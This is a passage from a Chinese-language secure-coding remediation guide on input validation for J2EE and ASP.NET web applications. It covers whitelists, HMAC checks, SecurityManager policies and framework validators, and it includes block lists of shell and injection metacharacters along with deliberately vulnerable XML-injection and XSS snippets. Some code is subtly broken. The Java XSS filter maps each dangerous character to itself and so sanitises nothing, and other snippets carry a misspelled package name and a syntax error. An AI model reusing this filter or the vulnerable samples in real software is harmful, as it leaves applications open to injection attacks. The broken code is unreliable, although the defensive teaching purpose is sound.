[2] 间接选择 -
不直接使用用户输入。用户输入应该当作可接受值的散列表中的一个键来处理。
[3] 消息认证代码(MAC)-
如果需要允许的值的动态实例化,可以使用 HMAC 来保护它们。 这类 MAC 在连接了密钥的值上运行加密散列函数而计算出来。
将 HMAC 附加到请求之后,当接收请求时,再加以验证,便可以使用 HMAC。
这样做可以确保值的完整性及真实性有效,不是恶意的用户所伪造。
在给定密钥和数据之后,这个函数(用 Java 撰写)会生成一个 HMAC:
验证用户输入的下列属性也是好的做法:
[1] 参数类型 -
在 Web 应用程序中,输入参数的类型欠佳。 例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确
[2] 参数长度 -
请确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。
另外,除去会触发问题的敏感 API 呼叫,也可以补救许多问题,例如,下列问题示例及其修订建议:
远程执行码:
[1] 清理输入以排除对执行操作系统命令有意义的符号,例如:
[a] |(竖线符号)
[b] &(& 符号)
[c] ;(分号)
[d] .(点)
(点)[2] 可能的话,请在更改根目录的环境中运行 Web 应用程序
[3] 不让用户指定要直接装入的本机图像。 如果需要多重选择,请使用白名称列表、“间接选择”或 HMAC。
代码注入:
[1] 清理用户输入的危险字符。 要清理的字符集,会随着求值的语言及所求值的表达式其中之输入的上下文而不同。
[2] 避免利用用户控制的数据来呼叫脚本评估程序
[3] 利用正面验证机制(模式匹配)。
SOAP 操作
[1] 避免将用户控制的输入传到敏感的 SOAP 相关呼叫中
[2] 应用正面验证机制(模式匹配)。
[3] 清理用户输入。 建议您过滤下列字符,或将它们转换成转义的 XML 相等项:
[a] <>(尖括号)
[b] "(引号)
[c] '(单引号)
[d] &(& 符号)
[4] 可以的话,将用户输入放在 CDATA 部分中(也就是说,用户输入是字符)。 CDATA 部分会指示 XML 引擎避免解析它包含的数据。 不过,请别忘了过滤出或转义 CDATA 终止文本字符串 ("]]>")。
J2EE
** 清理用户输入:
以下是清理用户输入的 Java 特定机制,以及上述一般机制的 Java 实施:
[1] 不需要全部重新处理 - 在大部分情况下,必要的清理能力都已实施。
Apache StringEscapeUtils(Apache Commons Lang 的一部分)已实施各种目标的清理方法(其中包括 HTML、XML、SQL,等等)。
不过,如果未曾实施必要的清理方法,您可以撰写自己的清理函数。
以下是避免遭受“跨站点脚本编制”的清理方法:
public static String filter(String value) { if (value == null) { return null; } StringBuffer result = new StringBuffer(value.length()); for (int i=0; i<value.length(); ++i) { switch (value.charAt(i)) { case '<': result.append("<"); break; case '>': result.append(">"); break; case '"': result.append("""); break; case '\'': result.append("'"); break; case '%': result.append("%"); break; case ';': result.append(";"); break; case '(': result.append("("); break; case ')': result.append(")"); break; case '&': result.append("&"); break; case '+': result.append("+"); break; default: result.append(value.charAt(i)); break; } return result; }
[2] 各种“Java Web 应用程序”框架都会自动清理传播到“HTTP 响应”中的危险字符。 其中包括 Apache 的 Struts,在缺省情况下,它支持在使用 Struts 'bean:write' 标记撰写的所有数据上,过滤 HTTP 响应中输出的危险字符。
[3] Servlet 过滤器 - Java Servlet API 2.3 引进了过滤器,它支持截取及变换 HTTP 请求或响应。
以下为使用“Servlet 过滤器”来清理使用 StringEscapeUtils.escapeHtml 响应的示例:
// Example to filter all sensitive characters in the HTTP response using a Java Filter. // This example is for illustration purposes since it will filter all content in the response, including HTML tags! public class SensitiveCharsFilter implements Filter { ... public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { PrintWriter out = response.getWriter(); ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response); chain.doFilter(request, wrapper); CharArrayWriter caw = new CharArrayWriter(); caw.write(StringEscapeUtils.escapeHtml(wrapper.toString())); response.setContentType("text/html"); response.setContentLength(caw.toString().length()); out.write(caw.toString()); out.close(); } ... public class CharResponseWrapper extends HttpServletResponseWrapper { private CharArrayWriter output; public String toString() { return output.toString(); } public CharResponseWrapper(HttpServletResponse response){ super(response); output = new CharArrayWriter(); } public PrintWriter getWriter(){ return new PrintWriter(output); } } }
引用A. Apache Commons Lang(包括 StringUtils)-
http://commons.apache.org/lang/B. Apache Struts -
http://struts.apache.org/** 用户输入验证
以下是验证用户输入的 Java 特定机制,以及上述一般机制的 Java 实施:
[1] 正面验证
[a] 白名称列表 -
HashSet<String> destinations = new HashSet<String>(); /* Add IP addresses to the map */ destinations.add("192.168.0.1"); destinations.add("192.168.0.2"); String dest = request.getParameter("dest"); if (null == dest) { out.println("destination not provided"); return; } /* Validate destination */ if (!destinations.contains(dest)) { out.println("invalid dest!"); return; } Socket s = new Socket(); InetSocketAddress addr = new InetSocketAddress(dest, 80); s.connect(addr); out.println("connected!");
[b] 模式匹配 - 对比输入与预期的模式。 例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$
Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:
// Example to validate that a given value matches a specified pattern // using the Apache regular expression package import org.apache.regexp.RE; import org.apache.regexp.RESyntaxException; ... public static boolean matchPattern(String value, String expression) { RE r = new RE(expression); return r.match(value); } ... // Verify that the userName request parameter is alphanumeric String userName = request.getParameter("userName"); if (matchPattern(userName, "^[a-zA-Z0-9]*$")) { // userName is valid, continue processing request ... }
Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是 Validator.matchPattern 的修订版,使用新的 Java 1.4 正则表达式包:
// Example to validate that a given value matches a specified pattern // using the Java 1.4 regular expression package import java.util.regex.Pattern; import java.util.regexe.Matcher; ... public static boolean matchPattern(String value, String expression) { return Pattern.matches(expression, value); } ...
[c] 范围验证 - 以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:
// Example to validate the field range ... public static boolean validateRange(int value, int min, int max) { return (value >= min && value <= max); } ... String fieldValue = request.getParameter("numberOfChoices"); ... numeric validation ... int numberOfChoices = Integer.parseInt(fieldValue); if (validateRange(numberOfChoices, 10, 20)) { // numberOfChoices is valid, continue processing request ... }
[2] 间接选择 -
下列代码片段在 J2EE 下,实施上述用户输入验证“间接选择”机制:
TreeMap<String, String> ipAddresses= new TreeMap<String,String>(); /* Add IP addresses to the map */ ipAddresses.put("SiteOne", "192.168.0.1"); ipAddresses.put("SiteTwo", "192.168.0.2"); String selector = request.getParameter("dest"); if (null == selector) return; /* Fetch the IP using the user controlled selector */ String dest = ipAddresses.get(selector); if (null == dest) return; Socket s = new Socket(); InetSocketAddress addr = new InetSocketAddress(dest, 80); s.connect(addr);
[3] 消息认证代码(MAC)-
下列函数在 J2EE 之下,实施上述用户输入验证 HMAC 机制:
在给定密钥和数据之后,这个函数会生成一个 HMAC:
byte[] calcHMAC(SecretKey key, String data) { try { Mac mac = Mac.getInstance(key.getAlgorithm()); mac.init(key); return mac.doFinal(data.getBytes()); } catch (InvalidKeyException e) { return null; } catch (NoSuchAlgorithmException e) { return null; } }
以下代码利用上述函数来防御“连接操纵”:
String hmac = request.getParameter("hmac"); String dest = request.getParameter("dest"); if (null == hmac || null == dest) { out.println("missing input"); return; } // validate HMAC if (!Arrays.equals(Base64.decodeBase64(hmac.getBytes()), generateHMAC(myKey, dest))) { out.println("invalid input"); return; } Socket s = new Socket(); InetSocketAddress addr = new InetSocketAddress(dest, 80); s.connect(addr); out.println("connected!");
[4] Java SecurityManager -
通过 Java 的 SecurityManager,可对 JVM 能够访问哪些 API 以及如何访问(即使用哪些参数)进行微调。
定义策略文件,便可以定义安全性限制。
以下是 Java 所提供不同许可权类型的短列表,分别附有各类型的简要说明:
AllPermission - 授予所有许可权,应当谨慎使用
AudioPermission - 授予对音频系统资源的访问权
AWTPermission - 授予对各种 AWT(抽象窗口工具箱)资源(如剪贴板和屏幕)的访问权
FilePermission - 授予对文件相关操作的访问权
NetPermission - 授予对各种网络操作的访问权
PropertyPermission - 授予对各种 Java 属性(如“java.home”和“os.name”)的访问权
ReflectPermission - 授予对反射操作的访问权
RuntimePermission - 授予对运行时相关操作(如退出 VM,装入本机库等)的访问权
SecurityPermission - 授予安全相关操作的访问权,例如:控制 SecurityManager 本身。
SerializablePermission - 授予串行化操作的访问权,例如:在串行化或编组期间替换对象
SocketPermission - 通过套接字授予网络操作访问权。
SQLPermission - 授予版本 SQL 记录相关功能的访问权。
以下是如何授予 c:\code 中代码的访问权来中止 VM 的示例:
grant codeBase "file:c:\\code\\-" { permission java.lang.RuntimePermission "exitVM"; };
在缺省情况下,Java 的 SecurityManager 会关闭。 使用“java.security.manager”标志来运行 JVM,便可以将其激活。
缺省策略文件有两个:系统策略文件(在 java.home\lib\security\java.policy 下),以及用户策略文件(在 user.home\.java.policy 下)
您也可以指定其他或不同的策略文件。 当运行 VM 时,触发在文件名旁边的“java.security.policy”标志,便可以做到这一点。
如果要在 Tomcat 中激活 SecurityManager,您应该在运行 catalina.bat 或 catalina.sh 时,指定 -security 命令行自变量。 策略文件位于 CATALINA_HOME/lib
以下是各种用户输入属性的验证的 Java 特定机制:
[1] 类型检查
接着便是 Java 的数字(int)类型验证功能实施:
public static boolean validateInt(String value) { boolean isFieldValid = false; try { Integer.parseInt(value); isFieldValid = true; } catch (Exception e) { isFieldValid = false; } return isFieldValid; }
好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:
// Example to convert the HTTP request parameter to a primitive wrapper data type // and store this value in a request attribute for further processing String fieldValue = request.getParameter("fieldName"); if (Validator.validateInt(fieldValue)) { // convert fieldValue to an Integer Integer integerValue = Integer.getInteger(fieldValue); // store integerValue in a request attribute request.setAttribute("fieldName", integerValue); } ... // Use the request attribute for further processing Integer integerValue = (Integer)request.getAttribute("fieldName");
应用程序应处理的主要 Java 数据类型:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date
[2] 长度验证
Java String 长度验证器实施:
public static boolean validateLength(String value, int minLength, int maxLength) { String validatedValue = value; if (!validateRequired(value)) { validatedValue = ""; } return (validatedValue.length() >= minLength && validatedValue.length() <= maxLength); } ... }
推荐使用的 JAVA 工具
用于服务器端验证的两个主要的 Java 框架如下:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 HTTP 响应中输出的危险字符。 可通过设置“filter=false”标志来禁用该过滤。
Struts 定义以下基本输入验证器,但也可定义定制的验证器:
required:如果字段包含空格以外的任何字符,便告成功。
mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。
range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。
maxLength:如果字段长度小于或等于 max 属性,便告成功。
minLength:如果字段长度大于或等于 min 属性,便告成功。
byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。
date:如果值代表有效日期,便告成功。可能会提供日期模式。
creditCard:如果值可以是有效的信用卡号码,便告成功。
e-mail:如果值可以是有效的电子邮件地址,便告成功。
使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation> <global> ... <validator name="required" classname="org.apache.struts.validator.FieldChecks" method="validateRequired" msg="errors.required"> </validator> <validator name="mask" classname="org.apache.struts.validator.FieldChecks" method="validateMask" msg="errors.invalid"> </validator> ... </global> <formset> <form name="loginForm"> <!-- userName is required and is alpha-numeric case insensitive --> <field property="userName" depends="required,mask"> <!-- message resource key to display if validation fails --> <msg name="mask" key="login.userName.maskmsg"/> <arg0 key="login.userName.displayname"/> <var> <var-name>mask</var-name> <var-value>^[a-zA-Z0-9]*$</var-value> </var> </field> ... </form> ... </formset> </form-validation>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。
JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:
validate_doublerange:在组件上注册 DoubleRangeValidator。
validate_length:在组件上注册 LengthValidator。
validate_longrange:在组件上注册 LongRangeValidator。
validate_required:在组件上注册 RequiredValidator。
validate_stringrange:在组件上注册 StringRangeValidator。
validator:在组件上注册定制的 Validator。
JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):
input_date:接受以 java.text.Date 实例格式化的 java.util.Date。
output_date:显示以 java.text.Date 实例格式化的 java.util.Date。
input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。
output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。
input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
input_text:接受单行文本字符串。
output_text:显示单行文本字符串。
input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。
output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。
input_hidden:允许页面作者在页面中包括隐藏变量。
input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号。
input_textarea:接受多行文本。
output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
output_label:将嵌套的组件显示为指定输入字段的标签。
output_message:显示本地化消息。
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %> <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %> ... <jsp:useBean id="UserBean" class="myApplication.UserBean" scope="session" /> <f:use_faces> <h:form formName="loginForm" > <h:input_text id="userName" size="20" modelReference="UserBean.userName"> <f:validate_required/> <f:validate_length minimum="8" maximum="20"/> </h:input_text> <!-- display errors if present --> <h:output_errors id="loginErrors" clientId="userName"/> <h:command_button id="submit" label="Submit" commandName="submit" /><p> </h:form> </f:use_faces>
引用A. Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/B. Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/C. Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/D. Java 正则表达式包 -
http://jakarta.apache.org/regexp/E. Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/F. JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/G. JavaTM 2 SDK 中的许可权:
http://docs.oracle.com/javase/1.5.0/docs/guide/security/permissions.htmlH. 如何使用“Java 安全管理器”来运行 jboss:
http://wiki.jboss.org/wiki/ConfiguringAJavaSecurityManagerI. Apache Tomcat 安全管理器手册:
http://tomcat.apache.org/tomcat-6.0-doc/security-manager-howto.html** 各类问题类型的特定 J2EE 修订建议:
远程执行码:
[1] 利用 Java 的 SecurityManager 来确定允许目标的白名称列表。
如下所示,精心制作一个 FilePermission 规则条目,便可以控制 exec 呼叫:
grant codeBase "file:<codepath>" { permission java.io.FilePermission "<path>","execute"; };
如下所示,精心制作一个 RuntimePermission 规则条目,便可以控制 loadLibrary 呼叫:
grant codeBase "file:<codepath>" { permission java.lang.RuntimePermission "loadLibrary.<library name (e.g.: kernel32)>" };
资源注入:
[1] 利用 Java 的 SecurityManager。
例如,指定下列“grant”规则,可以限制应用程序绑定所能绑定的端口:
grant codeBase "file:<codepath>" { permission java.net.SocketPermission "<host|0.0.0.0 for all interfaces>:<port>","listen"; };
代码注入:
[1] 实施正面验证机制(模式匹配)
下列 J2EE 代码证明如何提交求值的表达式只包含简单计算所需要的特定字符集:
String val = request.getParameter("val"); ExpressionEvaluator e = pageContext.getExpressionEvaluator(); // Positive validation if (val.matches(".*[^()*+-/\\d]+.*")) { out.println("invalid input"); } else { Integer result = (Integer)e.evaluate("${" + val + "}", Integer.class, pageContext.getVariableResolver(), null); out.println(result); }
SOAP 操作:
[1] 实施正面验证机制(模式匹配)
下列 J2EE 代码证明如何确保用户输入只包含字母数字字符:
SOAPMessage m = mf.createMessage(); SOAPBody b = m.getSOAPBody(); if (! body.matches("\\w+")) { out.println("invalid input"); return; } b.addChildElement(sf.createName(body));
[2] 下列代码片段证明如何利用 Apache 的 StringUtils,在 Java 中转义 XML 数据:
String body = request.getParameter("val"); SOAPMessage m = mf.createMessage(); SOAPBody b = m.getSOAPBody(); String encodedBody = StringEscapeUtils.escapeXml(body); b.addChildElement(sf.createName(encodedBody));
0x05 XML 注入
一些 Web 应用程序将 XML 文件用于各种用途,从配置到完整数据库功能。
用户输入通常会传播到这些文件中,进而定制配置或更新应用程序数据库。
如果在使用用户输入之前未清理或验证错误字符,那么这会成为安全隐患。
当未采取任何预防措施时,恶意用户可以变更配置指令,添加新用户(如果用户列表通过 XML 文件进行维护),获取更高的特权等等。
以下证明易受攻击的 J2EE 应用程序:
Document doc = docBuilder.newDocument();
Element rootElement = doc.createElement("root");
doc.appendChild(rootElement);
Element firstElement = doc.createElement("first");
rootElement.appendChild(firstElement);
Element childElement = doc.createElement("child");
childElement.appendChild(doc.createTextNode(--User_Supplied_Text--)); // un-sanitized text
rootElement.appendChild(childElement);
…
以下内容演示类似的易受攻击的 .NET 应用程序:
String nodeText = request.getParameter("node");
XmlWriterSettings settings = new XmlWriterSettings();
writer = XmlWriter.Create(m_Document, settings);
…
writer.WriteElementString("newNode", nodeText); // un-sanitized text
…
writer.WriteEndElement();
以此代码为例,用户输入传播到 XML 文件中而未适当清理。
根据应用程序使用 XML 文件的方式,可以各种方法利用此漏洞。
威胁影响:缓解修复:
若干问题的补救方法在于对用户输入进行清理。
通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划外的任务,例如:启动任意 SQL 查询、嵌入将在客户端执行的 Javascript 代码、运行各种操作系统命令,等等。
建议过滤出所有以下字符:
[1] |(竖线符号)
[2] & (& 符号)
[3];(分号)
[4] $(美元符号)
[5] %(百分比符号)
[6] @(at 符号)
[7] '(单引号)
[8] "(引号)
[9] \'(反斜杠转义单引号)
[10] \"(反斜杠转义引号)
[11] <>(尖括号)
[12] ()(括号)
[13] +(加号)
[14] CR(回车符,ASCII 0x0d)
[15] LF(换行,ASCII 0x0a)
[16] ,(逗号)
[17] \(反斜杠)
以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符:
SQL 注入和 SQL 盲注:
A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预期。
B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储过程时,请利用 ADO 命令对象来实施它们,以强化变量类型。
C. 清理输入以排除上下文更改符号,例如:
[1] '(单引号)
[2] "(引号)
[3] \'(反斜线转义单引号)
[4] \"(反斜杠转义引号)
[5] )(结束括号)
[6] ;(分号)
跨站点脚本编制:
A. 清理用户输入,并过滤出 JavaScript 代码。我们建议您过滤下列字符:
[1] <>(尖括号)
[2] "(引号)
[3] '(单引号)
[4] %(百分比符号)
[5] ;(分号)
[6] ()(括号)
[7] &(& 符号)
[8] +(加号)
B. 如果要修订 <%00script> 变体,请参阅 MS 文章 821349
C. 对于 UTF-7 攻击: [-] 可能的话,建议您施行特定字符集编码(使用 'Content-Type' 头或 <meta> 标记)。
HTTP 响应分割:清理用户输入(至少是稍后嵌入在 HTTP 响应中的输入)。
请确保输入未包含恶意的字符,例如:
[1] CR(回车符,ASCII 0x0d)
[2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统命令有意义的符号,例如:
[1] |(竖线符号)
[2] & (& 符号)
[3];(分号)
执行 shell 命令:
A. 绝不将未检查的用户输入传递给 eval()、open()、sysopen()、system() 之类的 Perl 命令。
B. 确保输入未包含恶意的字符,例如:
[1] $(美元符号)
[2] %(百分比符号)
[3] @(at 符号)
XPath 注入:清理输入以排除上下文更改符号,例如:
[1] '(单引号)
[2] "(引号) 等
LDAP 注入:
A. 使用正面验证。字母数字过滤(A..Z,a..z,0..9)适合大部分 LDAP 查询。
B. 应该过滤出或进行转义的特殊 LDAP 字符:
[1] 在字符串开头的空格或“#”字符
[2] 在字符串结尾的空格字符
[3] ,(逗号)
[4] +(加号)
[5] "(引号)
[6] \(反斜杠)
[7] <>(尖括号)
[8] ;(分号)
[9] ()(括号)
MX 注入:
应该过滤出特殊 MX 字符:
[1] CR(回车符,ASCII 0x0d)
[2] LF(换行,ASCII 0x0a)记录伪造:
应该过滤出特殊记录字符:
[1] CR(回车符,ASCII 0x0d)
[2] LF(换行,ASCII 0x0a)
[3] BS(退格,ASCII 0x08)
ORM 注入:
A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预期。
B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。C. 使用参数化查询 API
D. 清理输入以排除上下文更改符号,例如: (*):
[1] '(单引号)
[2] "(引号)
[3] \'(反斜线转义单引号)
[4] \"(反斜杠转义引号)
[5] )(结束括号)
[6] ;(分号)
(*) 这适用于 SQL。高级查询语言可能需要不同的清理机制。
Asp.Net
[1] 我们建议您将服务器升级至 .NET Framework 2.0(或更新的版本),它本身就包括针对跨站点脚本编制攻击进行保护的安全检查。
[2] 您可以使用验证控件,将输入验证添加到“Web 表单”页面。 验证控件提供适用于标准验证的所有常见类型的易用机制(例如,测试验证日期是否有效,或验证值是否在范围内)。 另外,验证控件也支持定制编写验证,可让您完整定制向用户显示错误信息的方式。 验证控件可以搭配“Web 表单”页面类文件中处理的任何控件来使用,其中包括 HTML 和 Web 服务器控件。
要确保用户输入仅包含有效值,您可以使用以下验证控件中的一种:
[1] “RangeValidator”:检查用户条目(值)是否在指定的上下界限之间。您可以检查配对数字、字母字符和日期内的范围。
[2] “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。
有助于阻止跨站点脚本编制的正则表达式示例:
- 可以拒绝基本跨站点脚本编制变体的正则表达式可能如下:^([^<]|\<[^a-zA-Z])*[<]?$
- 拒绝上述所有字符的一般正则表达式可能如下:^([^\<\>\"\'\%\;\)\(\&\+]*)$
重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。
有两种方法可检查用户输入的有效性:
1. 测试常规错误状态:
在您的代码中,测试页面的 IsValid 属性。 该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。
2. 测试个别控件的错误状态:
在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。 然后,您就可以检查每个验证控件的 IsValid 属性。
最后,我们建议使用 Microsoft Anti-Cross Site Scripting Library(V1.5 更高版本)对不受信任的用户输入进行编码。
Anti-Cross Site Scripting Library 显现下列方法:
[1] HtmlEncode - 将在 HTML 中使用的输入字符串编码
[2] HtmlAttributeEncode - 将在 HTML 属性中使用的输入字符串编码
[3] JavaScriptEncode - 将在 JavaScript 中使用的输入字符串编码
[4] UrlEncode - 将在“统一资源定位器 (URL)”中使用的输入字符串编码
[5] VisualBasicScriptEncode - 将在 Visual Basic 脚本中使用的输入字符串编码
[6] XmlEncode - 将在 XML 中使用的输入字符串编码
[7] XmlAttributeEncode - 将在 XML 属性中使用的输入字符串编码
如果要适当使用 Microsoft Anti-Cross Site Scripting Library 来保护 ASP.NET Web 应用程序,您必须运行下列操作:
第 1 步:复查生成输出的 ASP.NET 代码
第 2 步:判断是否包括不受信任的输入参数
第 3 步:判断不受信任的输入的上下文是否作为输出,判断要使用哪个编码方法
第 4 步:编码输出
第 3 步骤的示例:
注意:如果要使用不受信任的输入来安装 HTML 属性,便应该使用 Microsoft.Security.Application.HtmlAttributeEncode 方法,将不受信任的输入编码。
另外,如果要在 JavaScript 的上下文中使用不受信任的输入,便应该使用 Microsoft.Security.Application.JavaScriptEncode 来编码。
// Vulnerable code
// Note that untrusted input is being treated as an HTML attribute
Literal1.Text = "<hr noshade size=[untrusted input here]>";
// Modified code
Literal1.Text = "<hr noshade size="+Microsoft.Security.Application.AntiXss.HtmlAttributeEncode([untrusted input here])+">";
第 4 步骤的示例:将输出编码时,必须记住的一些重要事项:
[1] 输出应该编码一次。
[2] 输出的编码与实际撰写,应该尽可能接近。 例如,如果应用程序读取用户输入、处理输入,再用某种形式将它重新写出,便应该紧接在撰写输出之前进行编码。
// Incorrect sequence
protected void Button1_Click(object sender, EventArgs e)
{
// Read input
String Input = TextBox1.Text;
// Encode untrusted input
Input = Microsoft.Security.Application.AntiXss.HtmlEncode(Input);
// Process input
...
// Write Output
Response.Write("The input you gave was"+Input);
}
// Correct Sequence
protected void Button1_Click(object sender, EventArgs e)
{
// Read input
String Input = TextBox1.Text;
// Process input
...
// Encode untrusted input and write output
Response.Write("The input you gave was"+
Microsoft.Security.Application.AntiXss.HtmlEncode(Input));
}
J2EE
** 输入数据验证:虽然为了用户的方便,可以提供“客户端”层数据的数据验证,但必须使用 Servlet 在服务器层执行验证。 客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。
如何验证必需字段的示例:
// Java example to validate required fields
public Class Validator {
...
public static boolean validateRequired(String value) {
boolean isFieldValid = false;
if (value != null && value.trim().length() > 0) {
isFieldValid = true;
}
return isFieldValid;
}
...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。 使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。
验证数字字段(int 类型)的方式的示例:
// Java example to validate that a field is an int number
public Class Validator {
...
public static boolean validateInt(String value) {
boolean isFieldValid = false;
try {
Integer.parseInt(value);
isFieldValid = true;
} catch (Exception e) {
isFieldValid = false;
}
return isFieldValid;
}
...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// convert fieldValue to an Integer
Integer integerValue = Integer.getInteger(fieldValue);
// store integerValue in a request attribute
request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
应用程序应处理的主要 Java 数据类型:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date
[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:
// Example to validate the field length
public Class Validator {
...
public static boolean validateLength(String value, int minLength, int maxLength) {
String validatedValue = value;
if (!validateRequired(value)) {
validatedValue = "";
}
return (validatedValue.length() >= minLength &&
validatedValue.length() <= maxLength);
}
...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
if (Validator.validateLength(userName, 8, 20)) {
// userName is valid, continue further processing
...
}
}
[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:
// Example to validate the field range
public Class Validator {
...
public static boolean validateRange(int value, int min, int max) {
return (value >= min && value <= max);
}
...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
if (Validator.validateInt(fieldValue)) {
int numberOfChoices = Integer.parseInt(fieldValue);
if (Validator.validateRange(numberOfChoices, 10, 20)) {
// numberOfChoices is valid, continue processing request
...
}
}
}
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:
// Example to validate user selection against a list of options
public Class Validator {
...
public static boolean validateOption(Object[] options, Object value) {
boolean isValidValue = false;
try {
List list = Arrays.asList(options);
if (list != null) {
isValidValue = list.contains(value);
}
} catch (Exception e) {
}
return isValidValue;
}
...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
// valid user selection, continue processing request
...
}
[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$
Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
RE r = new RE(expression);
match = r.match(value);
}
return match;
}
...
}
...
// Verify that the userName request parameter is alphanumeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
// userName is valid, continue processing request
...
}
